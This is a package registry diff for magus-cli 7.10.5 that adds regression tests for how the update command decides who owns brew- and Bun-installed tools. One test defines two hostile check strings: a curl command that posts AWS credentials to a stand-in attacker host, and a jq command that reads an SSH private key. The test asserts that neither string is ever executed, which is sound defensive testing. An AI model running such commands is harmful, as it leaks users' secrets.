magus-cli 7.10.3 → 7.10.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (44) hide show
  1. package/package.json +4 -4
  2. package/src/__tests__/blackbox-convergence.test.ts +0 -1
  3. package/src/__tests__/blackbox-parity.test.ts +2 -2
  4. package/src/__tests__/blackbox-tool-state.test.ts +8 -18
  5. package/src/__tests__/blind/c14-cli-row-label.test.ts +8 -3
  6. package/src/__tests__/blind/c15-probe-ownership.test.ts +11 -11
  7. package/src/__tests__/blind/c16-probe-adopts-node-global.test.ts +16 -12
  8. package/src/__tests__/blind/c17-enter-label.test.ts +42 -7
  9. package/src/__tests__/blind/c18-probe-adopts-homebrew-keg.test.ts +36 -19
  10. package/src/__tests__/blind/c19-probe-owner-version-shadow.test.ts +38 -35
  11. package/src/__tests__/cli-tool-commands.test.ts +2 -2
  12. package/src/__tests__/cli-tool-external-row.test.tsx +112 -0
  13. package/src/__tests__/cli-tools-adapter.test.ts +32 -22
  14. package/src/__tests__/cli-update-view.test.ts +124 -51
  15. package/src/__tests__/fixtures/bins.ts +9 -2
  16. package/src/__tests__/npm-package-name.test.ts +3 -2
  17. package/src/__tests__/profile-worktree-include.test.ts +212 -0
  18. package/src/__tests__/tool-adopt-brew-owner.test.ts +167 -0
  19. package/src/__tests__/tool-probe.test.ts +231 -144
  20. package/src/__tests__/tool-rows-followups.test.ts +315 -0
  21. package/src/__tests__/tool-rows-reproduction.test.ts +630 -0
  22. package/src/__tests__/tool-versions.test.ts +164 -0
  23. package/src/__tests__/toolchain.test.ts +0 -2
  24. package/src/__tests__/update-plan.test.ts +40 -9
  25. package/src/cli/update-view.ts +180 -76
  26. package/src/cli/update.ts +44 -37
  27. package/src/data/cli-tools.ts +5 -10
  28. package/src/data/tool-versions.ts +137 -0
  29. package/src/services/cli-tool-commands.ts +1 -2
  30. package/src/services/cli-tool-version.ts +10 -88
  31. package/src/services/profile-activate.ts +9 -0
  32. package/src/services/profile-live.ts +26 -0
  33. package/src/services/profile-skills.ts +14 -4
  34. package/src/services/profile-state.ts +18 -0
  35. package/src/services/resolver.ts +9 -15
  36. package/src/services/tool-probe.ts +537 -691
  37. package/src/services/toolchain.ts +10 -4
  38. package/src/services/update-engine.ts +9 -15
  39. package/src/services/update-plan.ts +49 -21
  40. package/src/types/index.ts +0 -2
  41. package/src/ui/adapters/cliToolsAdapter.ts +31 -22
  42. package/src/ui/renderers/cliToolRenderers.tsx +15 -21
  43. package/src/ui/state/types.ts +0 -1
  44. package/src/__tests__/blind/c9-cli-tool-version.test.ts +0 -239
@@ -0,0 +1,630 @@
1
+ // REGRESSION: magus update showed UNKNOWN rows and a "could not be checked" warning for tools installed another way — Fixed in /dev:fix session dev-fix-20261008-133732-7ddf079e
2
+ /**
3
+ * Reproductions for docs/plans/2026-10-08-magus-update-tool-rows.md.
4
+ *
5
+ * Every test here uses only exports that exist before the fix, so each one
6
+ * fails on an ASSERTION, never on an import. Literals the fix introduces
7
+ * (`external`, `installed-elsewhere`, `owner-unknown`, `version-command`) are
8
+ * compared as plain strings so the file loads against the old unions.
9
+ *
10
+ * The exec strings are real output captured on the reporting machine
11
+ * (session localization.md / root-cause.md):
12
+ * brew list --versions madappgang/tap/claudish -> exit 1, silent (Bun install)
13
+ * brew list --versions zsh -> exit 1
14
+ * brew list --versions uv tmux jq -> uv 0.12.23 / tmux 3.7c / jq 1.8.2
15
+ * uv --version (PATH) -> uv 0.11.15 (3cffe97c2 2026-05-18 aarch64-apple-darwin)
16
+ * claudish --version -> claudish version 10.4.1
17
+ * jq --version -> jq-1.8.2
18
+ * tmux -V -> tmux 3.7c
19
+ */
20
+
21
+ import { afterEach, describe, expect, test } from "bun:test";
22
+ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs";
23
+ import os from "node:os";
24
+ import path from "node:path";
25
+ import { setColorEnabled, stripAnsi } from "../cli/ansi.js";
26
+ import { planReport } from "../cli/update-view.js";
27
+ import {
28
+ type ExecResult,
29
+ type ToolFacts,
30
+ type ToolProbeIO,
31
+ classifyTool,
32
+ parseBrewListVersions,
33
+ probeTool,
34
+ } from "../services/tool-probe.js";
35
+ import {
36
+ type UpdatePlan,
37
+ planBinUpdates,
38
+ summarizePlan,
39
+ } from "../services/update-plan.js";
40
+ import type { ManagedBin, ManagedTool } from "../types/index.js";
41
+
42
+ afterEach(() => setColorEnabled(null));
43
+
44
+ // ── fake IO ─────────────────────────────────────────────────────────────────
45
+
46
+ type Handler = Partial<ExecResult> | "timeout";
47
+
48
+ interface Setup {
49
+ /** "cmd arg1 arg2" -> result. Anything not listed is a missing executable. */
50
+ exec?: Record<string, Handler>;
51
+ /** Every `brew …` call answers with this, when set (timeout, missing brew). */
52
+ brew?: Handler;
53
+ /** name -> first executable AS FOUND ON PATH. */
54
+ onPath?: Record<string, string>;
55
+ /** realpath table; a path not listed resolves to itself. */
56
+ real?: Record<string, string>;
57
+ env?: Record<string, string>;
58
+ }
59
+
60
+ const MISSING: ExecResult = {
61
+ code: null,
62
+ stdout: "",
63
+ stderr: "",
64
+ timedOut: false,
65
+ missing: true,
66
+ };
67
+
68
+ function fakeIO(setup: Setup): ToolProbeIO & {
69
+ calls: string[];
70
+ realpathCalls: string[];
71
+ } {
72
+ const calls: string[] = [];
73
+ const realpathCalls: string[] = [];
74
+ const answer = (h: Handler | undefined): ExecResult => {
75
+ if (h === undefined) return MISSING;
76
+ if (h === "timeout")
77
+ return {
78
+ code: null,
79
+ stdout: "",
80
+ stderr: "",
81
+ timedOut: true,
82
+ missing: false,
83
+ };
84
+ return {
85
+ code: 0,
86
+ stdout: "",
87
+ stderr: "",
88
+ timedOut: false,
89
+ missing: false,
90
+ ...h,
91
+ };
92
+ };
93
+ return {
94
+ calls,
95
+ realpathCalls,
96
+ exec: async (command) => {
97
+ const key = [command.cmd, ...command.args].join(" ");
98
+ calls.push(key);
99
+ if (command.cmd === "brew" && setup.brew !== undefined)
100
+ return answer(setup.brew);
101
+ return answer(setup.exec?.[key]);
102
+ },
103
+ fetchJson: async () => ({ ok: false, reason: "returned 404" }),
104
+ readJson: async () => null,
105
+ readText: async () => null,
106
+ readlink: async () => null,
107
+ realpath: async (file) => {
108
+ realpathCalls.push(file);
109
+ return setup.real?.[file] ?? file;
110
+ },
111
+ resolveExecutable: async (name) => setup.onPath?.[name] ?? null,
112
+ env: setup.env ?? {},
113
+ homedir: "/Users/j",
114
+ };
115
+ }
116
+
117
+ const OPTS = { timeoutMs: 500, deadlineMs: 3000 };
118
+ const BREW_ENV = { HOMEBREW_PREFIX: "/opt/homebrew" };
119
+ const OUTDATED_EMPTY = '{"formulae":[],"casks":[]}';
120
+ const EXIT_1: Partial<ExecResult> = { code: 1, stdout: "", stderr: "" };
121
+
122
+ const brewSpec = (name: string, formula?: string): ManagedTool => ({
123
+ name,
124
+ via: "brew",
125
+ ...(formula ? { formula } : {}),
126
+ });
127
+
128
+ /** The fix deletes the Cellar arithmetic: no Cellar path is ever computed. */
129
+ function expectNoCellarArithmetic(io: {
130
+ calls: string[];
131
+ realpathCalls: string[];
132
+ }): void {
133
+ expect(io.realpathCalls.filter((p) => p.includes("Cellar"))).toEqual([]);
134
+ expect(
135
+ io.calls.filter((c) => c === "brew --prefix" || c === "brew --cellar"),
136
+ ).toEqual([]);
137
+ }
138
+
139
+ // ── root cause 1: ask brew, never compute where it installs ─────────────────
140
+
141
+ describe("brew ownership comes from brew's own answer", () => {
142
+ test("1. a tap formula brew installed is brew's: managed, current", async () => {
143
+ const io = fakeIO({
144
+ env: BREW_ENV,
145
+ onPath: { claudish: "/opt/homebrew/bin/claudish" },
146
+ // A path that says nothing about Cellar layout: ownership must not
147
+ // be read off it.
148
+ real: { "/opt/homebrew/bin/claudish": "/opt/homebrew/bin/claudish" },
149
+ exec: {
150
+ "brew list --versions madappgang/tap/claudish": {
151
+ stdout: "claudish 10.4.1\n",
152
+ },
153
+ // brew's own file list names the file PATH runs.
154
+ "brew list madappgang/tap/claudish": {
155
+ stdout: "/opt/homebrew/bin/claudish\n",
156
+ },
157
+ "claudish --version": { stdout: "claudish version 10.4.1\n" },
158
+ "brew outdated --json=v2 madappgang/tap/claudish": {
159
+ stdout: OUTDATED_EMPTY,
160
+ },
161
+ },
162
+ });
163
+ const s = brewSpec("claudish", "madappgang/tap/claudish");
164
+ const f = await probeTool(s, io, OPTS);
165
+ expect({ managed: f.managed, installed: f.installed }).toEqual({
166
+ managed: true,
167
+ installed: "10.4.1",
168
+ });
169
+ expect(classifyTool(s, f).state).toBe("current");
170
+ expectNoCellarArithmetic(io);
171
+ });
172
+
173
+ test("2a. claudish installed with Bun: bun has it, so bun updates it", async () => {
174
+ // Merged design: the spec names brew, but bun's own global tree holds
175
+ // the file PATH runs. bun is an installer magus drives, so the row is
176
+ // bun's: version from bun's package record, upgrade through bun.
177
+ const bunHome = "/Users/j/.bun";
178
+ const pkg = `${bunHome}/install/global/node_modules/claudish`;
179
+ const bin = `${pkg}/bin/claudish.cjs`;
180
+ const onPath = `${bunHome}/bin/claudish`;
181
+ const io = fakeIO({
182
+ env: { ...BREW_ENV, BUN_INSTALL: bunHome },
183
+ onPath: { claudish: onPath },
184
+ real: { [onPath]: bin },
185
+ exec: {
186
+ "brew list --versions madappgang/tap/claudish": EXIT_1,
187
+ "claudish --version": { stdout: "claudish version 10.4.1\n" },
188
+ },
189
+ });
190
+ const record = io.readJson;
191
+ io.readJson = async (file) =>
192
+ file === `${pkg}/package.json`
193
+ ? { name: "claudish", version: "10.4.1" }
194
+ : record(file);
195
+ const s = brewSpec("claudish", "madappgang/tap/claudish");
196
+ const f = await probeTool(s, io, OPTS);
197
+ expect(f.managed).toBe(true);
198
+ expect(f.installed).toBe("10.4.1");
199
+ expect(f.sources as string[]).toContain("bun-global");
200
+ expect(f.upgradeCommand).toEqual({
201
+ cmd: "bun",
202
+ args: ["install", "-g", "claudish@latest"],
203
+ });
204
+ expect(classifyTool(s, f).state).not.toBe("external");
205
+ expectNoCellarArithmetic(io);
206
+ });
207
+
208
+ test("2b. a Bun-layout copy outside bun's global tree: installed elsewhere, version from its own --version", async () => {
209
+ // A real Bun layout on disk, package.json and all, so the old
210
+ // package.json guess has something to find — and must not use it. It
211
+ // is not under the BUN_INSTALL bun reports, so no installer magus
212
+ // drives has it.
213
+ const root = mkdtempSync(path.join(os.tmpdir(), "magus-tool-rows-"));
214
+ try {
215
+ const pkg = path.join(
216
+ root,
217
+ ".bun",
218
+ "install",
219
+ "global",
220
+ "node_modules",
221
+ "claudish",
222
+ );
223
+ mkdirSync(path.join(pkg, "bin"), { recursive: true });
224
+ writeFileSync(
225
+ path.join(pkg, "package.json"),
226
+ '{"name":"claudish","version":"10.4.1"}',
227
+ );
228
+ const bin = path.join(pkg, "bin", "claudish.cjs");
229
+ writeFileSync(bin, "");
230
+ const onPath = path.join(root, ".bun", "bin", "claudish");
231
+
232
+ const io = fakeIO({
233
+ env: BREW_ENV,
234
+ onPath: { claudish: onPath },
235
+ real: { [onPath]: bin },
236
+ exec: {
237
+ "brew list --versions madappgang/tap/claudish": EXIT_1,
238
+ "claudish --version": { stdout: "claudish version 10.4.1\n" },
239
+ },
240
+ });
241
+ const s = brewSpec("claudish", "madappgang/tap/claudish");
242
+ const f = await probeTool(s, io, OPTS);
243
+ const st = classifyTool(s, f);
244
+
245
+ expect(st.state as string).toBe("external");
246
+ expect(st.reason as string).toBe("installed-elsewhere");
247
+ expect(st.note).toBeUndefined();
248
+ expect(f.installed).toBe("10.4.1");
249
+ expect(f.sources as string[]).not.toContain("package-json");
250
+ expect(f.sources as string[]).toContain("version-command");
251
+ } finally {
252
+ rmSync(root, { recursive: true, force: true });
253
+ }
254
+ });
255
+
256
+ test("3. the macOS system zsh is installed elsewhere, with its version", async () => {
257
+ const io = fakeIO({
258
+ env: BREW_ENV,
259
+ onPath: { zsh: "/bin/zsh" },
260
+ exec: {
261
+ "brew list --versions zsh": EXIT_1,
262
+ "zsh --version": { stdout: "zsh 5.9 (arm64-apple-darwin26.0)\n" },
263
+ },
264
+ });
265
+ const s = brewSpec("zsh");
266
+ const f = await probeTool(s, io, OPTS);
267
+ const st = classifyTool(s, f);
268
+ expect(st.state as string).toBe("external");
269
+ expect(st.installed).toBe("5.9");
270
+ });
271
+ });
272
+
273
+ // ── decision 3: brew has a copy, PATH runs a different one ──────────────────
274
+
275
+ describe("brew's versions are compared with the version PATH runs", () => {
276
+ test("4. uv: brew has 0.12.23, PATH runs 0.11.15 — installed elsewhere, never an upgrade", async () => {
277
+ const io = fakeIO({
278
+ env: BREW_ENV,
279
+ onPath: { uv: "/Users/j/.local/bin/uv" },
280
+ exec: {
281
+ "brew list --versions uv": { stdout: "uv 0.12.23\n" },
282
+ "uv --version": {
283
+ stdout: "uv 0.11.15 (3cffe97c2 2026-05-18 aarch64-apple-darwin)\n",
284
+ },
285
+ // Even if brew says its copy is behind, upgrading it would not move
286
+ // what PATH runs.
287
+ "brew outdated --json=v2 uv": {
288
+ stdout: JSON.stringify({
289
+ formulae: [
290
+ {
291
+ name: "uv",
292
+ installed_versions: ["0.12.23"],
293
+ current_version: "0.13.0",
294
+ pinned: false,
295
+ pinned_version: null,
296
+ },
297
+ ],
298
+ casks: [],
299
+ }),
300
+ },
301
+ },
302
+ });
303
+ const s = brewSpec("uv");
304
+ const f = await probeTool(s, io, OPTS);
305
+ const st = classifyTool(s, f);
306
+ expect(st.state as string).toBe("external");
307
+ expect(st.state).not.toBe("upgrade");
308
+ expect(st.installed).toBe("0.11.15");
309
+ });
310
+
311
+ test("5. jq: brew's revision suffix 1.8.2_1 matches PATH's jq-1.8.2 — managed, current", async () => {
312
+ const io = fakeIO({
313
+ env: BREW_ENV,
314
+ onPath: { jq: "/opt/homebrew/bin/jq" },
315
+ real: {
316
+ "/opt/homebrew/bin/jq": "/opt/homebrew/Cellar/jq/1.8.2_1/bin/jq",
317
+ },
318
+ exec: {
319
+ "brew list --versions jq": { stdout: "jq 1.8.2_1\n" },
320
+ "brew list jq": {
321
+ stdout: "/opt/homebrew/Cellar/jq/1.8.2_1/bin/jq\n",
322
+ },
323
+ "jq --version": { stdout: "jq-1.8.2\n" },
324
+ "brew outdated --json=v2 jq": { stdout: OUTDATED_EMPTY },
325
+ },
326
+ });
327
+ const s = brewSpec("jq");
328
+ const f = await probeTool(s, io, OPTS);
329
+ expect(f.managed).toBe(true);
330
+ // The version PATH runs, read by magus's own version command — not the
331
+ // keg folder name.
332
+ expect(f.installed).toBe("1.8.2");
333
+ expect(f.sources as string[]).toContain("version-command");
334
+ expect(classifyTool(s, f).state).toBe("current");
335
+ expectNoCellarArithmetic(io);
336
+ });
337
+
338
+ test("6. tmux with kept kegs 3.7b 3.7c, PATH runs 3.7b — managed, installed 3.7b", async () => {
339
+ const io = fakeIO({
340
+ env: BREW_ENV,
341
+ onPath: { tmux: "/opt/homebrew/bin/tmux" },
342
+ real: {
343
+ "/opt/homebrew/bin/tmux": "/opt/homebrew/Cellar/tmux/3.7b/bin/tmux",
344
+ },
345
+ exec: {
346
+ "brew list --versions tmux": { stdout: "tmux 3.7b 3.7c\n" },
347
+ "brew list tmux": {
348
+ stdout: "/opt/homebrew/Cellar/tmux/3.7b/bin/tmux\n",
349
+ },
350
+ "tmux -V": { stdout: "tmux 3.7b\n" },
351
+ "brew outdated --json=v2 tmux": { stdout: OUTDATED_EMPTY },
352
+ },
353
+ });
354
+ const s = brewSpec("tmux");
355
+ const f = await probeTool(s, io, OPTS);
356
+ expect(f.managed).toBe(true);
357
+ expect(f.installed).toBe("3.7b");
358
+ expect(f.sources as string[]).toContain("version-command");
359
+ expectNoCellarArithmetic(io);
360
+ });
361
+ });
362
+
363
+ // ── brew absent vs brew failing ─────────────────────────────────────────────
364
+
365
+ describe("what brew failing means", () => {
366
+ test("7. no Homebrew at all: a tool on PATH is installed elsewhere, not unknown", async () => {
367
+ const io = fakeIO({
368
+ // No HOMEBREW_PREFIX, and every `brew` call is ENOENT.
369
+ brew: MISSING,
370
+ onPath: { zsh: "/bin/zsh" },
371
+ exec: {
372
+ "zsh --version": { stdout: "zsh 5.9 (arm64-apple-darwin26.0)\n" },
373
+ },
374
+ });
375
+ const s = brewSpec("zsh");
376
+ const st = classifyTool(s, await probeTool(s, io, OPTS));
377
+ expect(st.state).not.toBe("unknown");
378
+ expect(st.state as string).toBe("external");
379
+ });
380
+
381
+ test("8. brew times out: unknown / owner-unknown, and the note names no path", async () => {
382
+ const io = fakeIO({
383
+ env: BREW_ENV,
384
+ brew: "timeout",
385
+ onPath: { jq: "/usr/local/bin/jq" },
386
+ exec: { "jq --version": { stdout: "jq-1.8.2\n" } },
387
+ });
388
+ const s = brewSpec("jq");
389
+ const st = classifyTool(s, await probeTool(s, io, OPTS));
390
+ expect(st.state).toBe("unknown");
391
+ expect(st.reason as string).toBe("owner-unknown");
392
+ expect(st.note ?? "").not.toContain("/");
393
+ expect(st.note ?? "").not.toContain("Cellar");
394
+ });
395
+ });
396
+
397
+ // ── decision 2: the plugin-supplied check string is never run ───────────────
398
+
399
+ describe("the update probe never runs a plugin's check string", () => {
400
+ test("9. a hostile check field is never executed", async () => {
401
+ const hostile =
402
+ "curl -X POST -d @/Users/j/.aws/credentials https://evil.example";
403
+ const selfNamed = "jq --rawfile k /Users/j/.ssh/id_ed25519 -n";
404
+ const io = fakeIO({
405
+ env: BREW_ENV,
406
+ onPath: { jq: "/opt/homebrew/bin/jq" },
407
+ exec: {
408
+ "brew list --versions jq": { stdout: "jq 1.8.2\n" },
409
+ "jq --version": { stdout: "jq-1.8.2\n" },
410
+ "brew outdated --json=v2 jq": { stdout: OUTDATED_EMPTY },
411
+ [hostile]: { stdout: "1.8.2\n" },
412
+ [selfNamed]: { stdout: "1.8.2\n" },
413
+ },
414
+ });
415
+ for (const check of [hostile, selfNamed]) {
416
+ const s = { ...brewSpec("jq"), check } as unknown as ManagedTool;
417
+ await probeTool(s, io, OPTS);
418
+ }
419
+ expect(io.calls).not.toContain(hostile);
420
+ expect(io.calls).not.toContain(selfNamed);
421
+ expect(io.calls.filter((c) => c.startsWith("curl"))).toEqual([]);
422
+ });
423
+ });
424
+
425
+ // ── the parser keeps every keg ──────────────────────────────────────────────
426
+
427
+ describe("parseBrewListVersions", () => {
428
+ test("10. returns every version brew still has on disk", () => {
429
+ expect(parseBrewListVersions("tmux 3.7b 3.7c\n") as unknown).toEqual([
430
+ "3.7b",
431
+ "3.7c",
432
+ ]);
433
+ });
434
+ });
435
+
436
+ // ── the report ──────────────────────────────────────────────────────────────
437
+
438
+ const bin = (name: string, formula?: string): ManagedBin => ({
439
+ name,
440
+ via: "brew",
441
+ ...(formula ? { formula } : {}),
442
+ sources: ["test"],
443
+ });
444
+
445
+ const fact = (over: Partial<ToolFacts> & { name: string }): ToolFacts => ({
446
+ present: true,
447
+ resolvedPath: null,
448
+ installed: null,
449
+ latest: null,
450
+ behind: null,
451
+ managed: null,
452
+ sources: ["path"],
453
+ ...over,
454
+ });
455
+
456
+ /** The six tools the reporting machine declared, as the fixed probe sees them. */
457
+ function sixToolMachine(): { bins: ManagedBin[]; facts: ToolFacts[] } {
458
+ const bins = [
459
+ bin("tmux"),
460
+ bin("zsh"),
461
+ bin("claudish", "madappgang/tap/claudish"),
462
+ bin("mnemex", "madappgang/tap/mnemex"),
463
+ bin("jq"),
464
+ bin("uv"),
465
+ ];
466
+ const facts = [
467
+ fact({
468
+ name: "tmux",
469
+ resolvedPath: "/opt/homebrew/bin/tmux",
470
+ installed: "3.7c",
471
+ behind: false,
472
+ managed: true,
473
+ }),
474
+ fact({
475
+ name: "zsh",
476
+ resolvedPath: "/bin/zsh",
477
+ installed: "5.9",
478
+ managed: false,
479
+ }),
480
+ // Installed with Bun, and bun is an installer magus drives: the merged
481
+ // probe adopts bun as the owner, so these two are current, not
482
+ // installed elsewhere.
483
+ fact({
484
+ name: "claudish",
485
+ resolvedPath:
486
+ "/Users/j/.bun/install/global/node_modules/claudish/bin/claudish.cjs",
487
+ installed: "10.4.1",
488
+ latest: "10.4.1",
489
+ behind: null,
490
+ managed: true,
491
+ upgradeCommand: {
492
+ cmd: "bun",
493
+ args: ["install", "-g", "claudish@latest"],
494
+ },
495
+ }),
496
+ fact({
497
+ name: "mnemex",
498
+ resolvedPath:
499
+ "/Users/j/.bun/install/global/node_modules/mnemex/bin/mnemex.cjs",
500
+ installed: "0.36.1",
501
+ latest: "0.36.1",
502
+ behind: null,
503
+ managed: true,
504
+ upgradeCommand: { cmd: "bun", args: ["install", "-g", "mnemex@latest"] },
505
+ }),
506
+ fact({
507
+ name: "jq",
508
+ resolvedPath: "/opt/homebrew/bin/jq",
509
+ installed: "1.8.2",
510
+ behind: false,
511
+ managed: true,
512
+ }),
513
+ fact({
514
+ name: "uv",
515
+ resolvedPath: "/Users/j/.local/bin/uv",
516
+ installed: "0.11.15",
517
+ managed: false,
518
+ }),
519
+ ];
520
+ return { bins, facts };
521
+ }
522
+
523
+ function planOf(bins: ManagedBin[], facts: ToolFacts[]): UpdatePlan {
524
+ return {
525
+ profileId: "default",
526
+ plugins: [],
527
+ bins: planBinUpdates(bins, facts),
528
+ skills: [],
529
+ binSpecs: new Map(bins.map((b) => [b.name, b])),
530
+ };
531
+ }
532
+
533
+ function report(plan: UpdatePlan): string[] {
534
+ setColorEnabled(false);
535
+ return planReport(plan).map((l) => stripAnsi(l));
536
+ }
537
+
538
+ describe("the CLI section shows only rows the user can act on", () => {
539
+ test("11. the six-tool machine prints one header line and nothing else", () => {
540
+ const { bins, facts } = sixToolMachine();
541
+ const lines = report(planOf(bins, facts));
542
+ const text = lines.join("\n");
543
+
544
+ const headers = lines.filter((l) => /^\s*CLI\s/.test(l));
545
+ expect(headers).toHaveLength(1);
546
+ expect(headers[0]).toMatch(/CLI\s+6\s+4 current · 2 installed elsewhere/);
547
+
548
+ // No row for any tool: the two are not work, and current is not either.
549
+ const rows = lines.filter((l) => l.trim() !== "" && !/^\s*CLI\s/.test(l));
550
+ expect(rows).toEqual([]);
551
+
552
+ for (const banned of [
553
+ "UNKNOWN",
554
+ "could not be checked",
555
+ "does not own",
556
+ "Cellar",
557
+ "second copy",
558
+ "node_modules",
559
+ ]) {
560
+ expect(text).not.toContain(banned);
561
+ }
562
+ });
563
+
564
+ test("12. an unknown with no fix is hidden and counted; a held-back tool shows `brew unpin`", () => {
565
+ const bins: ManagedBin[] = [
566
+ { name: "codex", via: "npm", package: "@openai/codex", sources: ["t"] },
567
+ bin("tmux"),
568
+ ];
569
+ const facts = [
570
+ // Owned, version read, but the registry gave no latest: nothing to run.
571
+ fact({
572
+ name: "codex",
573
+ resolvedPath: "/usr/local/bin/codex",
574
+ installed: "0.153.2",
575
+ managed: true,
576
+ }),
577
+ // Behind, but held by a brew pin: the user can unpin it.
578
+ fact({
579
+ name: "tmux",
580
+ resolvedPath: "/opt/homebrew/bin/tmux",
581
+ installed: "3.7b",
582
+ latest: "3.7c",
583
+ behind: true,
584
+ managed: true,
585
+ heldBack: "held by brew pin",
586
+ }),
587
+ ];
588
+ const plan = planOf(bins, facts);
589
+ // Guard the inputs: these really are the two unknown shapes.
590
+ expect(plan.bins.map((b) => b.reason)).toEqual([
591
+ "latest-unavailable",
592
+ "held-back",
593
+ ]);
594
+
595
+ const lines = report(plan);
596
+ const header = lines.find((l) => /^\s*CLI\s/.test(l)) ?? "";
597
+ expect(header).toContain("1 not checked");
598
+
599
+ const rows = lines.filter((l) => l.trim() !== "" && !/^\s*CLI\s/.test(l));
600
+ expect(rows.filter((l) => l.includes("codex"))).toEqual([]);
601
+ const tmuxRow = rows.find((l) => l.includes("tmux")) ?? "";
602
+ expect(tmuxRow).toContain("brew unpin tmux");
603
+ });
604
+
605
+ test("12b. another copy later on PATH is a header count, never a row or a path", () => {
606
+ const { bins, facts } = sixToolMachine();
607
+ const withCopy = facts.map((f) =>
608
+ f.name === "uv" ? { ...f, otherCopies: 1 } : f,
609
+ );
610
+ const lines = report(planOf(bins, withCopy));
611
+ const header = lines.find((l) => /^\s*CLI\s/.test(l)) ?? "";
612
+ expect(header).toMatch(
613
+ /4 current · 2 installed elsewhere · 1 with another copy on PATH$/,
614
+ );
615
+ const rows = lines.filter((l) => l.trim() !== "" && !/^\s*CLI\s/.test(l));
616
+ expect(rows).toEqual([]);
617
+ expect(lines.join("\n")).not.toContain("/");
618
+ });
619
+
620
+ test("13. summarizePlan counts installed-elsewhere apart from unknown", () => {
621
+ const { bins, facts } = sixToolMachine();
622
+ const s = summarizePlan(planOf(bins, facts)) as ReturnType<
623
+ typeof summarizePlan
624
+ > & { external?: number };
625
+ expect({ external: s.external, unknownTools: s.unknownTools }).toEqual({
626
+ external: 2,
627
+ unknownTools: 0,
628
+ });
629
+ });
630
+ });